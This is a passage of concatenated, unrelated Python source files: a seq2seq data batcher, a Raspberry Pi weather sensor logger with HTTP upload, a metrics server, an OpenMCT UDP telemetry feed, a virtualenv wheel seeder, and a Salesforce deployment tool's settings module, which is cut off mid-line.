xrange(ex.dec_len): self.dec_padding_mask[i][j] = 1 def store_orig_strings(self, example_list): """Store the original article and abstract strings in the Batch object""" self.original_articles = [ex.original_article for ex in example_list] # list of lists self.original_queries = [ex.original_query for ex in example_list] # list of lists self.original_abstracts = [ex.original_abstract for ex in example_list] # list of lists self.original_abstracts_sents = [ex.original_abstract_sents for ex in example_list] # list of list of lists class Batcher(object): """A class to generate minibatches of data. Buckets examples together based on length of the encoder sequence.""" BATCH_QUEUE_MAX = 100 # max number of batches the batch_queue can hold def __init__(self, data_path, vocab, hps, single_pass): """Initialize the batcher. Start threads that process the data into batches. Args: data_path: tf.Example filepattern. vocab: Vocabulary object hps: hyperparameters single_pass: If True, run through the dataset exactly once (useful for when you want to run evaluation on the dev or test set). Otherwise generate random batches indefinitely (useful for training). """ self._data_path = data_path self._vocab = vocab self._hps = hps self._single_pass = single_pass # Initialize a queue of Batches waiting to be used, and a queue of Examples waiting to be batched self._batch_queue = Queue.Queue(self.BATCH_QUEUE_MAX) self._example_queue = Queue.Queue(self.BATCH_QUEUE_MAX * self._hps.batch_size) # Different settings depending on whether we're in single_pass mode or not if single_pass: self._num_example_q_threads = 1 # just one thread, so we read through the dataset just once self._num_batch_q_threads = 1 # just one thread to batch examples self._bucketing_cache_size = 1 # only load one batch's worth of examples before bucketing; this essentially means no bucketing self._finished_reading = False # this will tell us when we're finished reading the dataset else: self._num_example_q_threads = 16 # num threads to fill example queue self._num_batch_q_threads = 4 # num threads to fill batch queue self._bucketing_cache_size = 100 # how many batches-worth of examples to load into cache before bucketing # Start the threads that load the queues self._example_q_threads = [] for _ in xrange(self._num_example_q_threads): self._example_q_threads.append(Thread(target=self.fill_example_queue)) self._example_q_threads[-1].daemon = True self._example_q_threads[-1].start() self._batch_q_threads = [] for _ in xrange(self._num_batch_q_threads): self._batch_q_threads.append(Thread(target=self.fill_batch_queue)) self._batch_q_threads[-1].daemon = True self._batch_q_threads[-1].start() # Start a thread that watches the other threads and restarts them if they're dead if not single_pass: # We don't want a watcher in single_pass mode because the threads shouldn't run forever self._watch_thread = Thread(target=self.watch_threads) self._watch_thread.daemon = True self._watch_thread.start() def next_batch(self): """Return a Batch from the batch queue. If mode='decode' then each batch contains a single example repeated beam_size-many times; this is necessary for beam search. Returns: batch: a Batch object, or None if we're in single_pass mode and we've exhausted the dataset. """ # If the batch queue is empty, print a warning if self._batch_queue.qsize() == 0: tf.logging.warning('Bucket input queue is empty when calling next_batch. Bucket queue size: %i, Input queue size: %i', self._batch_queue.qsize(), self._example_queue.qsize()) if self._single_pass and self._finished_reading: tf.logging.info("Finished reading dataset in single_pass mode.") return None batch = self._batch_queue.get() # get the next Batch return batch def fill_example_queue(self): """Reads data from file and processes into Examples which are then placed into the example queue.""" input_gen = self.text_generator(data.example_generator(self._data_path, self._single_pass)) while True: try: (article,query,abstract) = input_gen.next() except StopIteration: # if there are no more examples: tf.logging.info("The example generator for this example queue filling thread has exhausted data.") if self._single_pass: tf.logging.info("single_pass mode is on, so we've finished reading dataset. This thread is stopping.") self._finished_reading = True break else: raise Exception("single_pass mode is off but the example generator is out of data; error.") abstract_sentences = [sent.strip() for sent in data.abstract2sents(abstract)] # Use the <s> and </s> tags in abstract to get a list of sentences. example = Example(article,query,abstract_sentences,self._vocab,self._hps) self._example_queue.put(example) # place the Example in the example queue. def fill_batch_queue(self): """Takes Examples out of example queue, sorts them by encoder sequence length, processes into Batches and places them in the batch queue. In decode mode, makes batches that each contain a single example repeated. """ while True: if self._hps.mode != 'decode': # Get bucketing_cache_size-many batches of Examples into a list, then sort inputs = [] for _ in xrange(self._hps.batch_size * self._bucketing_cache_size): inputs.append(self._example_queue.get()) inputs = sorted(inputs, key=lambda inp: inp.enc_len) # sort by length of encoder sequence # Group the sorted Examples into batches, optionally shuffle the batches, and place in the batch queue. batches = [] for i in xrange(0, len(inputs), self._hps.batch_size): batches.append(inputs[i:i + self._hps.batch_size]) if not self._single_pass: shuffle(batches) for b in batches: # each b is a list of Example objects self._batch_queue.put(Batch(b, self._hps, self._vocab)) else: # beam search decode mode ex = self._example_queue.get() b = [ex for _ in xrange(self._hps.batch_size)] self._batch_queue.put(Batch(b, self._hps, self._vocab)) def watch_threads(self): """Watch example queue and batch queue threads and restart if dead.""" while True: time.sleep(60) for idx,t in enumerate(self._example_q_threads): if not t.is_alive(): # if the thread is dead tf.logging.error('Found example queue thread dead. Restarting.') new_t = Thread(target=self.fill_example_queue) self._example_q_threads[idx] = new_t new_t.daemon = True new_t.start() for idx,t in enumerate(self._batch_q_threads): if not t.is_alive(): # if the thread is dead tf.logging.error('Found batch queue thread dead. Restarting.') new_t = Thread(target=self.fill_batch_queue) self._batch_q_threads[idx] = new_t new_t.daemon = True new_t.start() def text_generator(self, example_generator): """Generates article and abstract text from tf.Example. Args: example_generator: a generator of tf.Examples from file. See data.example_generator""" #extra_data = False while True: e = example_generator.next() # e is a tf.Example try: article_text = e.features.feature['article'].bytes_list.value[0] # document text #article abstract_text = e.features.feature['abstract'].bytes_list.value[0] # response text #abstract query_text = e.features.feature['query'].bytes_list.value[0] # context text #query #print(query_text) except ValueError: tf.logging.error('Failed to get article or abstract from example') continue if len(article_text)==0: # See https://github.com/abisee/pointer-generator/issues/1 tf.logging.warning('Found an example with empty article text. Skipping it.') else: yield (article_text, query_text, abstract_text)
logIR.py
#!/usr/bin/env python import board import requests import argparse import busio import time import datetime import adafruit_bme280 import threading import RPi.GPIO as GPIO # Import Raspberry Pi GPIO library import subprocess import logging from systemd import journal """ blink the LED for a bit""" def blinkLED(): blinkTime = 0.1 for i in range(2): GPIO.output(pinID, GPIO.HIGH) # Turn on time.sleep(blinkTime) # Sleep GPIO.output(pinID, GPIO.LOW) # Turn off time.sleep(blinkTime) # Sleep def errorLED(): blinkTime = 0.05 for i in range(50): GPIO.output(pinID, GPIO.HIGH) # Turn on time.sleep(blinkTime) # Sleep GPIO.output(pinID, GPIO.LOW) # Turn off time.sleep(blinkTime) # Sleep class logBufferClass(): def __init__(self, debug=False): self.filename = "/var/log/logbuffer.tmp" if debug: self.filename="logbuffer.tmp" self.logData = [] self.uploadDestination = "http://astrofarm.eu/upload" if debug: self.uploadDestination = "http://astrofarm.local/upload" self.load() def addEntry(self, logLine): self.logData.append(logLine) self.dump() return len(self.logData) def load(self): loadFile = open(self.filename, "rt") for line in loadFile: self.logData.append(line) loadFile.close() def dump(self): dumpFile = open(self.filename, "wt") for item in self.logData: dumpFile.write(item + "\n") dumpFile.close() def clear(self): self.logData = [] self.dump() def upload(self): print("Uploading logBuffer") success = False print("Uploading to ", self.uploadDestination) myobj = {'logData': self.logData} print(myobj) try: x = requests.post(self.uploadDestination, data = myobj) print(x.text) if x.text == "SUCCESS": success = True self.clear() except Exception as e: success = False print(e) return success def getIRSky(): readCommand = ["/home/pi/share/meteopi/readTsky"] result = subprocess.run(readCommand, stdout=subprocess.PIPE) Tsky = float(result.stdout.decode('utf-8')) return Tsky def getIRAmbient(): readCommand = ["/home/pi/share/meteopi/readTamb"] result = subprocess.run(readCommand, stdout=subprocess.PIPE) Tamb = float(result.stdout.decode('utf-8')) return Tamb if __name__ == "__main__": parser = argparse.ArgumentParser(description='Polls the BME 280 sensor for temperature, pressure and relative humidity.') parser.add_argument('-c', '--cadence', type=int, default=60, help='Cadence in seconds.' ) parser.add_argument('-u', '--upload', type=int, default=300, help='Upload cadence in seconds.' ) parser.add_argument('-s', '--service', action="store_true", default=False, help='Specify this option if running as a service.' ) args = parser.parse_args() debug = False GPIO.setwarnings(True) # Ignore warning for now GPIO.setmode(GPIO.BCM) # Use BCM pin numbering pinID = 16 cadence = args.cadence GPIO.setup(pinID, GPIO.OUT, initial=GPIO.HIGH) # i2c = busio.I2C(board.SCL, board.SDA) # bme280 = adafruit_bme280.Adafruit_BME280_I2C(i2c, address = 0x76) logBuffer = [] lastUpload = datetime.datetime.now() uploadCadence = args.upload cpuTempPath = "/sys/class/thermal/thermal_zone0/temp" if args.service: log = logging.getLogger('logmeteo.service') log.addHandler(journal.JournaldLogHandler()) log.setLevel(logging.INFO) logLine = "Starting the logmeteo service with a cadence of %d seconds"%cadence log.info(logLine) try: logFile = open("/var/log/meteo.log", "at") except PermissionError: logFile = open("debug.log", "at") print("Not running as root, so can't write to /var/log. Creating a local 'debug.log' file.") debug = True logBuffer = logBufferClass(debug=debug) errorFlash = None while True: currentTime = datetime.datetime.now() try: # Get the CPU temperatures CPUtempFile = open(cpuTempPath, "rt") for line in CPUtempFile: cpuTemp = float(line.strip()) CPUtempFile.close() # Get the IR detector temperatures try: IRsky = getIRSky() IRambient = getIRAmbient() except: IRsky = -100 IRambient = -100 # logLine = "%s|%0.1f|%0.1f|%0.1f|%0.1f|%0.1f|%0.1f"%(str(currentTime), bme280.temperature, bme280.humidity, bme280.pressure, cpuTemp/1000, IRambient, IRsky) logLine = "%s|%0.1f|%0.1f|%0.1f"%(str(currentTime), cpuTemp/1000, IRambient, IRsky) logBuffer.addEntry(logLine) if args.service: log.info(logLine) timeSinceUpload = currentTime - lastUpload if debug: print("time since last upload %d seconds"%timeSinceUpload.seconds) if timeSinceUpload.seconds > uploadCadence: if logBuffer.upload(): lastUpload = datetime.datetime.now() if args.service: log.info("Uploaded data successfully") else: lastUpload = datetime.datetime.now() print("Upload failed! Will try again in %d seconds"%uploadCadence) if args.service: log.error("Failed to upload data. Will try again in %d seconds."%uploadCadence) t = threading.Thread(name='non-block', target=blinkLED) t.start() logFile.write(logLine + "\n") if debug: print(logLine.strip()) logFile.flush() except OSError as e: if debug: print("Error connecting to sensor") print(e) errorFlash = threading.Thread(name='error flash', target=errorLED) errorFlash.start() time.sleep(cadence)
metrics.py
'''Metrics library. Metrics are thread safe values. You can expose metrics with serve_http method. ''' from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from cStringIO import StringIO from operator import add, sub from threading import RLock, Thread import json from time import sleep, time _LOCK = RLock() _METRICS = {} class Metric: '''Metric class This class exposes `get` and `set` which are both thread safe. ''' def __init__(self, name, value=None): with _LOCK: if name in _METRICS: raise ValueError('metric {0} alreay exists'.format(name)) _METRICS[name] = self self.name = name self.value = value self.lock = RLock() def set(self, value): with self.lock: self.value = value def get(self): return self.value class NumericMetric(Metric): '''NumericMetric has inc and dec methods, good for counters.''' def __init__(self, name, value=0, step=1): Metric.__init__(self, name, value) self.step = step def _op(self, func, step): step = step if step is not None else self.step with self.lock: self.set(func(self.get(), step)) def inc(self, step=None): self._op(add, step) def dec(self, step=None): self._op(sub, step) class TimerMetric(Metric): '''Timer metric. Show elapsed time from start until now or when `stop` was called.''' def __init__(self, name, start=None): Metric.__init__(self, name, start or time()) self.end = None def stop(self, end=None): with self.lock: self.end = end or time() def get(self): end = self.end or time() return end - self.value # Get a metric def get(name): with _LOCK: return _METRICS.get(name) def getval(name): '''Get value of metric.''' return get(name).get() def iter_metrics(): '''Iterate over metrics, return list of `(name, value)` tuples''' with _LOCK: return [(name, getval(name)) for name in _METRICS] def as_json(out=None): '''Metrics as JSON object. If out is None will return string, otherwise will dump to fo. ''' fo = out if out else StringIO() json.dump(dict(iter_metrics()), fo) if not out: return fo.getvalue() class Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() as_json(self.wfile) self.wfile.write('\n') self.wfile.close() # Be quiet def log_message(self, format, *args): pass def serve_metrics(port): '''Serve metrics via HTTP/JSON on port.''' server = HTTPServer(('localhost', port), Handler) server.allow_reuse_address = True t = Thread(target=server.serve_forever) t.daemon = True t.start() return server def _test(): from random import randint default_port = 9999 from argparse import ArgumentParser parser = ArgumentParser('Metrics HTTP server') parser.add_argument('-p', '--port', default=default_port, type=int, help='port to listen on ({0})'.format(default_port)) args = parser.parse_args() serve_metrics(args.port) metric = Metric('metric') numeric = NumericMetric('numeric') TimerMetric('timer') def mutate_thread(): while True: numeric.inc() metric.set(randint(0, 100)) sleep(0.1) t = Thread(target=mutate_thread) t.daemon = True t.start() print('Serving metrics at http://localhost:{}'.format(args.port)) # There's no way to "join" a server try: while True: sleep(0.1) except KeyboardInterrupt: pass if __name__ == '__main__': _test()
OpenMCT_feed.py
# Data provider for the Aircraft_42 implementation # Grabs Data from Mission Planner # sends data to a specified UDP port # Threading implemented to support the sending of commands without blocking the data forwarding to the OpenMCT Telemetry Server # in this stage not inteded to be used on a real aircraft, only simulation. Threading and usage of sockets need to be improved import socket import time from threading import Thread, Lock import sys UDP_IP = "127.0.0.1" #standard ip udp (localhost) keys = {} mutex = Lock() def sendToMCT(run): UDP_PORT_SEND = 50015 #chosen port to OpenMCT (same as in telemetry server object) MESSAGE = "" #init message # initiate socket and send first message sockSend = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP while True: mutex.acquire() try: for key, value in keys.items(): if (value): timeStamp = time.time() MESSAGE = "{},{},{}".format(key,100,timeStamp) sockSend.sendto(MESSAGE.encode(), (UDP_IP, UDP_PORT_SEND)) time.sleep(0.1) finally: mutex.release() if not(run()): #to kill the thread print('Message Pump Closed!') break def command(run): UDP_PORT_RCV = 50016 #chosen port to OpenMCT (same as in telemetry server object) data = '' addr = '' connected = False # initiate socket and send first message sockRcv = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP try: sockRcv.bind((UDP_IP, UDP_PORT_RCV)) # bind the socket to the specified ip and port sockRcv.setblocking(0) # set the socket on unblocking, so we wont get stuck on sockRcv.recvfrom() connected = True # if connected go into the loop except: print('Connecting to Telemetry Server failed! Wait a couple of seconds, so the socket will close. Then restart the script.') sockRcv.close() # if connection fails retry while connected: try: data, address = sockRcv.recvfrom(1024) # buffer size is 1024 bytes parts = data.decode("utf-8").split(" ") options.get(parts[0], lambda: "Unknown command")(parts[1]) except socket.error: pass if not(run()): #to kill the thread sockRcv.close() print('Command Closed!') break def subscribe(id): mutex.acquire() keys[id] = True print("subscribed " + id) mutex.release() def unsubscribe(id): mutex.acquire() keys[id] = False print("unsubscribed " + id) mutex.release() options = { "subscribe": subscribe, "unsubscribe": unsubscribe } #set the run argument true run = True # start the threads sendMsgfromMP = Thread(target=sendToMCT,args=(lambda : run, )) sendMsgfromMP.start() command = Thread(target=command,args=(lambda : run, )) command.start() while True: try: #keep the main thread alive time.sleep(1) except: # on closing the main thread also close the function threads run=False sendMsgfromMP.join() command.join() print('Ended!') sys.exit()
via_app_data.py
"""Bootstrap""" from __future__ import absolute_import, unicode_literals import logging from contextlib import contextmanager from subprocess import CalledProcessError from threading import Lock, Thread import six from virtualenv.info import fs_supports_symlink from virtualenv.seed.embed.base_embed import BaseEmbed from virtualenv.seed.wheels import get_wheel from virtualenv.util.path import Path from .pip_install.copy import CopyPipInstall from .pip_install.symlink import SymlinkPipInstall class FromAppData(BaseEmbed): def __init__(self, options): super(FromAppData, self).__init__(options) self.symlinks = options.symlink_app_data @classmethod def add_parser_arguments(cls, parser, interpreter, app_data): super(FromAppData, cls).add_parser_arguments(parser, interpreter, app_data) can_symlink = app_data.transient is False and fs_supports_symlink() parser.add_argument( "--symlink-app-data", dest="symlink_app_data", action="store_true" if can_symlink else "store_false", help="{} symlink the python packages from the app-data folder (requires seed pip>=19.3)".format( "" if can_symlink else "not supported - ", ), default=False, ) def run(self, creator): if not self.enabled: return with self._get_seed_wheels(creator) as name_to_whl: pip_version = name_to_whl["pip"].version_tuple if "pip" in name_to_whl else None installer_class = self.installer_class(pip_version) def _install(name, wheel): logging.debug("install %s from wheel %s via %s", name, wheel, installer_class.__name__) key = Path(installer_class.__name__) / wheel.path.stem wheel_img = self.app_data.wheel_image(creator.interpreter.version_release_str, key) installer = installer_class(wheel.path, creator, wheel_img) if not installer.has_image(): installer.build_image() installer.install(creator.interpreter.version_info) threads = list(Thread(target=_install, args=(n, w)) for n, w in name_to_whl.items()) for thread in threads: thread.start() for thread in threads: thread.join() @contextmanager def _get_seed_wheels(self, creator): name_to_whl, lock, fail = {}, Lock(), {} def _get(distribution, version): for_py_version = creator.interpreter.version_release_str failure, result = None, None # fallback to download in case the exact version is not available for download in [True] if self.download else [False, True]: failure = None try: result = get_wheel( distribution=distribution, version=version, for_py_version=for_py_version, search_dirs=self.extra_search_dir, download=download, app_data=self.app_data, do_periodic_update=self.periodic_update, ) if result is not None: break except Exception as exception: # noqa logging.exception("fail") failure = exception if failure: if isinstance(failure, CalledProcessError): msg = "failed to download {}".format(distribution) if version is not None: msg += " version {}".format(version) msg += ", pip download exit code {}".format(failure.returncode) output = failure.output if six.PY2 else (failure.output + failure.stderr) if output: msg += "\n" msg += output else: msg = repr(failure) logging.error(msg) with lock: fail[distribution] = version else: with lock: name_to_whl[distribution] = result threads = list( Thread(target=_get, args=(distribution, version)) for distribution, version in self.distribution_to_versions().items() ) for thread in threads: thread.start() for thread in threads: thread.join() if fail: raise RuntimeError("seed failed due to failing to download wheels {}".format(", ".join(fail.keys()))) yield name_to_whl def installer_class(self, pip_version_tuple): if self.symlinks and pip_version_tuple: # symlink support requires pip 19.3+ if pip_version_tuple >= (19, 3): return SymlinkPipInstall return CopyPipInstall def __unicode__(self): base = super(FromAppData, self).__unicode__() msg = ", via={}, app_data_dir={}".format("symlink" if self.symlinks else "copy", self.app_data) return base[:-1] + msg + base[-1]
dtkglobal.py
# MIT License # # Copyright (c) 2019 # Miguel Perales - miguelperalesbermejo@gmail.com # Jose Manuel Caballero - jcaballeromunoz4@gmail.com # Jose Antonio Martin - ja.martin.esteban@gmail.com # Miguel Diaz - migueldiazgil92@gmail.com # Jesus Blanco Garrido - jesusblancogarrido@gmail.com # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import json import ntpath import os import platform import shelve import shutil import stat import subprocess import threading import base64 import io import csv import wx advSetting = True unlockSetting = True unzipSetting = True defaultPackagesToExclude = "et4ae5" defaultPreScriptFolder = "data\\scripts\\PreReleaseScript.txt" defaultScriptFolder = "data\\scripts\\PostReleaseScript.txt" defaultMetadataFolder = "sfdc\\src\\" defaultApiVersion = "45.0" defaultSandboxTypes = ["Config", "QA", "UAT", "Prod"] deploymentTypes = ["Folder", "Git", "Zip"] testRunTypes = ["NoTestRun","RunSpecifiedTests","RunLocalTests","RunAllTestsInOrg"] retrieveTypes = ["Manifest File", "Metadata Retrieve"] metadataTypes = [ "ApexClass", "ApexComponent", "ApexPage", "ApexTestSuite", "ApexTrigger", "AppMenu", "ApprovalProcess", "AuraDefinitionBundle", "ConnectedApp", "ContentAsset", "CspTrustedSite", "CustomApplication", "CustomApplicationComponent", "CustomLabels", "CustomMetadata", "CustomObject", "CustomObjectTranslation", "CustomPermission", "CustomSite", "CustomTab", "Dashboard", "Document", "DuplicateRule", "EmailTemplate", "ExternalDataSource", "FlexiPage", "Flow", "FlowDefinition", "GlobalValueSet", "Group", "HomePageLayout", "Layout", "Letterhead", "MatchingRules", "NamedCredential", "PermissionSet", "Profile", "ProfilePasswordPolicy", "Queue", "QuickAction", "RemoteSiteSetting", "Report", "ReportType", "Role", "Settings", "SharingRules", "StandardValueSet", "StandardValueSetTranslation", "StaticResource", "Territory", "TopicsForObjects", "Translations", "Workflow", ] metadataTemplates = ["All", "None", "Profiles and related", "Typical"] metadataTemplatesSelection = { "Profiles and related": [ "ApexClass", "ApexPage", "CustomApplication", "CustomMetadata", "CustomObject", "CustomPermission", "CustomTab", "FlexiPage", "Layout", "Profile", ], "Typical": [ "ApexClass", "ApexPage", "ApexTrigger", "CspTrustedSite", "CustomApplication", "CustomMetadata", "CustomObject", "CustomPermission", "CustomTab", "Dashboard", "EmailTemplate", "FlexiPage", "Group", "HomePageLayout", "Layout", "PermissionSet", "Profile", "Queue", "Report", "ReportType", "Workflow", ], } orgList = [] orgDict = dict() soqlList = ["Custom Settings"] soqlDict = { "Custom Settings Migration": "SELECT OCE__SObjectName__c, OCE__Level__c, OCE__IsList__c, OCE__RecordName__c, OCE__OwnerName__c, OCE__Data__c FROM OCE__CustomSettingsMigration__c where OCE__SObjectName__c not in ('OCE__UserSettings__c','OCE__CallDiscussionRecordtype__c') ORDER BY OCE__SObjectName__c ASC, OCE__Level__c ASC, OCE__OwnerName__c, OCE__RecordName__c ASC" } targets = [] workspaces = [] testLevels = ["NoTestRun", "RunSpecifiedTests", "RunLocalTests", "RunAllTestsInOrg"] metadataTemplatesFileName = "metadataTemplates.json" SOQLTemplatesFileName = "SOQLTemplates.json" #Accelerate Integration: Global Variables accelerateEnableSetting = False accelerateDevEnableSetting = False accelerateGitURL = "https://gitlab.ims.io/accelerators/oce_accelerate.git" accelerateGitUser = "" accelerateGitPassword = "" dtkAccelerateCfg = dict() accelerateGitBranch = "" accelerateMetadataGitFolder = "" acceleratePreDeployScriptFile = "" acceleratePostDeployScriptFile = "" accelerateVersion = "" confluenceURL = "" activationScriptName = "" postMasterDataFolder = "" postMasterDataScript = "" accelerateModulesAvailable = dict() acceleratedeploymentTypes = ["Folder", "Git"] gitPreffix = "https://" gitSuffix = "gitlab.ims.io/accelerators/oce_accelerate.git" def SaveSettings( advSettingIn, unlockSettingIn, unzipSettingIn, accelerateEnableSettingIn, accelerateDevEnableSettingIn, accelerateGitURLIn, accelerateGitUserIn, accelerateGitPasswordIn, metadataTypesSettingIn, defaultPackagesToExcludeIn, defaultMetadataFolderIn, defaultPreScriptFolderIn, defaultScriptFolderIn, defaultApiVersionIn, ): homePath = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(homePath): os.makedirs(homePath) completeName = "settingsdtk.config" shelfFile = shelve.open(os.path.join(homePath, completeName)) global advSetting # advSetting = advSettingIn advSetting = True shelfFile["advSetting"] = advSettingIn global unlockSetting #unlockSetting = unlockSettingIn unlockSetting = True shelfFile["unlockSetting"] = unlockSettingIn global unzipSetting unzipSetting = unzipSettingIn shelfFile["unzipSetting"] = unzipSettingIn global accelerateEnableSetting accelerateEnableSetting = accelerateEnableSettingIn shelfFile["accelerateEnableSetting"] = accelerateEnableSettingIn global accelerateDevEnableSetting accelerateDevEnableSetting = accelerateDevEnableSettingIn shelfFile["accelerateDevEnableSetting"] = accelerateDevEnableSettingIn global accelerateGitURL accelerateGitURL = accelerateGitURLIn shelfFile["accelerateGitURL"] = accelerateGitURLIn global accelerateGitUser accelerateGitUser = accelerateGitUserIn shelfFile["accelerateGitUser"] = accelerateGitUserIn global accelerateGitPassword accelerateGitPassword = accelerateGitPasswordIn shelfFile["accelerateGitPassword"] = accelerateGitPasswordIn global metadataTypes metadataTypes = metadataTypesSettingIn.split(",") metadataTypes.sort() shelfFile["metadataTypes"] = metadataTypes global defaultPackagesToExclude defaultPackagesToExclude = defaultPackagesToExcludeIn shelfFile["defaultPackagesToExclude"] = defaultPackagesToExcludeIn global defaultMetadataFolder defaultMetadataFolder = defaultMetadataFolderIn shelfFile["defaultMetadataFolder"] = defaultMetadataFolderIn global defaultPreScriptFolder defaultPreScriptFolder = defaultPreScriptFolderIn shelfFile["defaultPreScriptFolder"] = defaultPreScriptFolderIn global defaultScriptFolder defaultScriptFolder = defaultScriptFolderIn shelfFile["defaultScriptFolder"] = defaultScriptFolderIn global defaultApiVersion defaultApiVersion = defaultApiVersionIn shelfFile["defaultApiVersion"] = defaultApiVersionIn shelfFile.close() def LoadSettings(): homePath = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(homePath): os.makedirs(homePath) completeName = "settingsdtk.config" shelfFile = shelve.open(os.path.join(homePath, completeName)) if "advSetting" in shelfFile: global advSetting advSetting = shelfFile["advSetting"] advSetting = True if "unlockSetting" in shelfFile: global unlockSetting unlockSetting = shelfFile["unlockSetting"] unlockSetting = True if "unzipSetting" in shelfFile: global unzipSetting unzipSetting = shelfFile["unzipSetting"] if "accelerateEnableSetting" in shelfFile: global accelerateEnableSetting accelerateEnableSetting = shelfFile["accelerateEnableSetting"] if "accelerateDevEnableSetting" in shelfFile: global accelerateDevEnableSetting accelerateDevEnableSetting = shelfFile["accelerateDevEnableSetting"] if "accelerateGitURL" in shelfFile: global accelerateGitURL accelerateGitURL = shelfFile["accelerateGitURL"] if "accelerateGitUser" in shelfFile: global accelerateGitUser accelerateGitUser = shelfFile["accelerateGitUser"] if "accelerateGitPassword" in shelfFile: global accelerateGitPassword accelerateGitPassword = shelfFile["accelerateGitPassword"] if "metadataTypes" in shelfFile: global metadataTypes metadataTypes = shelfFile["metadataTypes"] if "defaultPackagesToExclude" in shelfFile: global defaultPackagesToExclude defaultPackagesToExclude = shelfFile["defaultPackagesToExclude"] if "defaultMetadataFolder" in shelfFile: global defaultMetadataFolder defaultMetadataFolder = shelfFile["defaultMetadataFolder"] if "defaultPreScriptFolder" in shelfFile: global defaultPreScriptFolder defaultPreScriptFolder = shelfFile["defaultPreScriptFolder"] if "defaultScriptFolder" in shelfFile: global defaultScriptFolder defaultScriptFolder = shelfFile["defaultScriptFolder"] if "defaultApiVersion" in shelfFile: global defaultApiVersion defaultApiVersion = shelfFile["defaultApiVersion"] shelfFile.close() def MakeModal(self, modal=True): if modal and not hasattr(self, "_disabler"): self._disabler = wx.WindowDisabler(self) if not modal and hasattr(self, "_disabler"): del self._disabler def LoadOrganizations(): completeName = "organizations.json" orgFileUrl = os.path.join(os.path.expanduser("~"), ".dtkconfig", completeName) global orgDict if not os.path.exists(orgFileUrl): thread = threading.Thread(target=CreateOrgsFromSfdx) thread.setDaemon(True) thread.start() else: ReadOrgs() def CreateOrgsFromSfdx(): cmd = ["sfdx", "force:alias:list"] if (platform.system() != "Windows"): cmd = ["/usr/local/bin/sfdx" + " " + "force:alias:list"] proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) directory = os.path.join(os.path.expanduser("~"), ".dtk", "log") if not os.path.exists(directory): os.makedirs(directory) outputFileUrl = os.path.join(directory, "initorgs.log") outputFile = open(outputFileUrl, "wb") outputFile.write(proc.stdout.read()) outputFile.close() fileOutput = open(outputFileUrl, "r", encoding="utf8") i = 0 for line in fileOutput: if i > 2: sdbx = line.split() if len(sdbx) > 0: splitSdbx = sdbx[0].split("_") if len(splitSdbx) > 0: sdbxName = splitSdbx[0] j = 1 while j < len(splitSdbx) - 1: sdbxName += "_" + splitSdbx[j] j += 1 if sdbxName in orgDict: sdbxConf = orgDict[sdbxName] sdbxConf["sandboxes"].append(splitSdbx[len(splitSdbx) - 1]) orgDict[sdbxName] = sdbxConf else: sdbxConf = {} sdbxConf["sandboxes"] = [splitSdbx[len(splitSdbx) - 1]] sdbxConf["giturl"] = "" sdbxConf["gituser"] = "" sdbxConf["gitpass"] = "" sdbxConf["metadatafolder"] = defaultMetadataFolder sdbxConf["preScript"] = defaultPreScriptFolder sdbxConf["script"] = defaultScriptFolder orgDict[sdbxName] = sdbxConf i += 1 fileOutput.close() os.remove(outputFileUrl) StoreOrgs() ReadOrgs() def StoreOrgs(): completeName = "organizations.json" directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): os.makedirs(directory) orgFileUrl = os.path.join(directory, completeName) orgFile = open(orgFileUrl, "wb") global orgDict strOrgDict = json.dumps(orgDict, indent=4, sort_keys=True) bynaryOrgDict = strOrgDict.encode() orgFile.write(bynaryOrgDict) orgFile.close() def ReadOrgs(): completeName = "organizations.json" directory = os.path.join(os.path.expanduser("~"), ".dtkconfig") if not os.path.exists(directory): return orgFileUrl = os.path.join(directory, completeName) orgFile = open(orgFileUrl, "r", encoding="utf8") global orgDict global orgList orgDict = json.loads(orgFile.read()) orgFile.close() orgList = [] for org in orgDict: orgList.append(org) def Encode(key, string): encoded_chars = [] for i in range(len(string)): key_c = key[i % len(key)] encoded_c = chr(ord(string[i]) + ord(key_c) % 256) encoded_chars.append(encoded_c) encoded_string = "".join(encoded_chars) return encoded_string def Decode(key, string): encoded_chars = [] for i in range(len(string)): key_c = key[i % len(key)] encoded_c = chr((ord(string[i]) - ord(key_c) + 256) % 256) encoded_chars.append(encoded_c) encoded_string = "".join(encoded_chars) return encoded_string def PathLeaf(path): head, tail = ntpath.split(path) return tail or ntpath.basename(head) def RemoveReadonly(func, path, excinfo): os.chmod(path, stat.S_IWRITE) func(path) def CopyDir(src, dest, ignore=None): if os.path.isdir(src): if not os.path.isdir(dest): os.makedirs(dest) files = os.listdir(src) if ignore is not None: ignored = ignore(src, files) else: ignored = set() for f in files: if f not in ignored: CopyDir(os.path.join(src, f), os.path.join(dest, f), ignore) else: shutil.copyfile(src, dest) def ProcessCommandScriptLine(lineSplit, lineStr, targetName, sourceName, deployDataUrl, lineNumber, deployStageUrl): error = False errorMsg = "" cmd = [] if len(lineSplit) > 1: if lineSplit[0] == "CMDEXECUTE": if lineSplit[1] != "": if "{gitroot}" in lineSplit[1]: lineSplit[1] = lineSplit[1].replace("{gitroot}",deployStageUrl) cmd = lineSplit[1].split() else: error = True errorMsg = "Expected more values 